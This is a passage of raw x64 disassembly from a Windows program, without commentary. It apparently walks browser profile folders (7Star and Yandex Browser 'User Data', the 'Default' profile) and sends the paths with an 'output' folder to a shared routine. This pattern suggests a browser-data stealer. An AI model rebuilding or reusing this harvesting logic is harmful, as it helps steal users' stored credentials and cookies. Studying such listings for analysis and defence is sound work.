mov qword [rsp + 0x38], rcx
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014a70
lea r8, str._appdata_local_7star_7star_user_data_
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x2ed8]
call fcn.140035d30
nop
mov ebx, dword [rbp + 0x40]
bts ebx, 0x19
mov dword [rbp + 0x38], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2ef8]
call fcn.140037cd0
nop
bts ebx, 0x1a
mov dword [rbp + 0x40], ebx
mov dword [rbp + 0x38], ebx
lea rcx, [rbp + 0x2ef8]
call fcn.14000a000
test al, al
je 0x140023c3c
lea r8, str._appdata_local_7star_7star_user_data_
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x2f18]
call fcn.140035d30
nop
bts ebx, 0x1b
mov dword [rbp + 0x38], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2f38]
call fcn.140037cd0
nop
bts ebx, 0x1c
mov dword [rbp + 0x40], ebx
mov dword [rbp + 0x38], ebx
lea rcx, [rbp + 0x2f38]
call fcn.14000a090
test al, al
je 0x140023c3c
mov dil, 1
jmp 0x140023c3f
xor dil, dil
bt ebx, 0x1c
jae 0x140023c5d
btr ebx, 0x1c
mov dword [rbp + 0x40], ebx
lea rcx, [rbp + 0x2f38]
call fcn.1400079a0
nop
bt ebx, 0x1b
jae 0x140023c7b
btr ebx, 0x1b
mov dword [rbp + 0x40], ebx
lea rcx, [rbp + 0x2f18]
call fcn.1400320f0
nop
bt ebx, 0x1a
jae 0x140023c99
btr ebx, 0x1a
mov dword [rbp + 0x40], ebx
lea rcx, [rbp + 0x2ef8]
call fcn.1400079a0
nop
bt ebx, 0x19
jae 0x140023cb6
btr ebx, 0x19
mov dword [rbp + 0x40], ebx
lea rcx, [rbp + 0x2ed8]
call fcn.1400320f0
test dil, dil
je 0x140023f49
mov edx, Ordinal_26
lea rcx, [rbp + 0x6188]
call fcn.14000ba50
lea r8, str._appdata_local_7star_7star_user_data_
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x2f58]
call fcn.140035d30
nop
mov rdx, rax
lea rcx, [rbp + 0x6188]
call fcn.140011f60
nop
lea rcx, [rbp + 0x2f58]
call fcn.1400320f0
lea rdx, str.Default
lea rcx, [rbp + 0x2f78]
call fcn.1400322a0
nop
lea rdx, [rbp + 0x2f78]
lea rcx, [rbp + 0x6188]
call fcn.1400319f0
nop
lea rcx, [rbp + 0x2f78]
call fcn.1400320f0
lea r8, str._output_7star_
lea rdx, [rbp + 0x65d8]
lea rcx, [rbp + 0x2f98]
call fcn.140038770
nop
mov rcx, rax
call fcn.140031ce0
mov rdx, rax
lea rcx, [rbp + 0x6698]
call fcn.140031e60
nop
lea rcx, [rbp + 0x2f98]
call fcn.1400079a0
lea r8, [0x140284de8]
lea rdx, [rbp + 0x65d8]
lea rcx, [rbp + 0x2fb8]
call fcn.140038770
nop
mov rcx, rax
call fcn.140031ce0
mov rdx, rax
lea rcx, [rbp + 0x6678]
call fcn.140031e60
nop
lea rcx, [rbp + 0x2fb8]
call fcn.1400079a0
lea rcx, [rbp + 0x6698]
call fcn.140031ce0
mov qword [rsp + 0x50], rax
lea rcx, [rbp + 0x6678]
call fcn.140031ce0
mov qword [rsp + 0x60], rax
lea rax, [rbp + 0x2fd8]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x65f8]
lea rcx, [rbp + 0x2fd8]
call fcn.1400322e0
mov r13, rax
lea rax, [rbp + 0x660]
mov qword [rsp + 0x70], rax
lea rdx, [rbp + 0x60f8]
lea rcx, [rbp + 0x660]
call fcn.140031480
mov r12, rax
lea rax, [rbp + 0x2ff8]
mov qword [rbp - 0x58], rax
lea r8, [0x140284684]
lea rdx, [rbp + 0x65f8]
lea rcx, [rbp + 0x2ff8]
call fcn.140035d30
mov r15, rax
lea rax, [rbp + 0x3018]
mov qword [rbp - 0x60], rax
lea r8, str._appdata_local_7star_7star_user_data
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x3018]
call fcn.140035d30
mov r14, rax
lea rax, [rbp + 0x3038]
mov qword [rbp - 0x68], rax
lea rdx, [0x140284de8]
lea rcx, [rbp + 0x3038]
call fcn.140031e60
mov rsi, rax
lea rax, [rbp + 0x3058]
mov qword [rbp - 0x70], rax
lea rdx, str._7star_
lea rcx, [rbp + 0x3058]
call fcn.1400322a0
mov rdi, rax
lea rax, [rbp + 0x3078]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x3078]
call fcn.1400322e0
mov rbx, rax
lea rdx, [rbp + 0x6188]
lea rcx, [rbp + 0x678]
call fcn.140031a50
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r12
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014a70
nop
lea rcx, [rbp + 0x6678]
call fcn.1400079a0
nop
lea rcx, [rbp + 0x6698]
call fcn.1400079a0
nop
lea rcx, [rbp + 0x6188]
call fcn.140031a40
mov ebx, dword [rbp + 0x40]
lea r8, str._appdata_local_yandex_yandexbrowser_user_data_
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x3098]
call fcn.140035d30
nop
bts ebx, 0x1d
mov dword [rbp + 0x38], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x30b8]
call fcn.140037cd0
nop
bts ebx, 0x1e
mov dword [rbp + 0x38], ebx
lea rcx, [rbp + 0x30b8]
call fcn.14000a000
test al, al
je 0x140023ff8
lea r8, str._appdata_local_yandex_yandexbrowser_user_data_
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x30d8]
call fcn.140035d30
nop
or ebx, 0x80000000
mov dword [rbp + 0x38], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x30f8]
call fcn.140037cd0
nop
mov edi, 1
mov dword [rbp + 0x48], edi
mov dword [rbp + 0x40], edi
lea rcx, [rbp + 0x30f8]
call fcn.14000a090
test al, al
je 0x140023ffb
mov edi, dword [rbp + 0x48]
xor sil, sil
test dil, 1
je 0x14002401b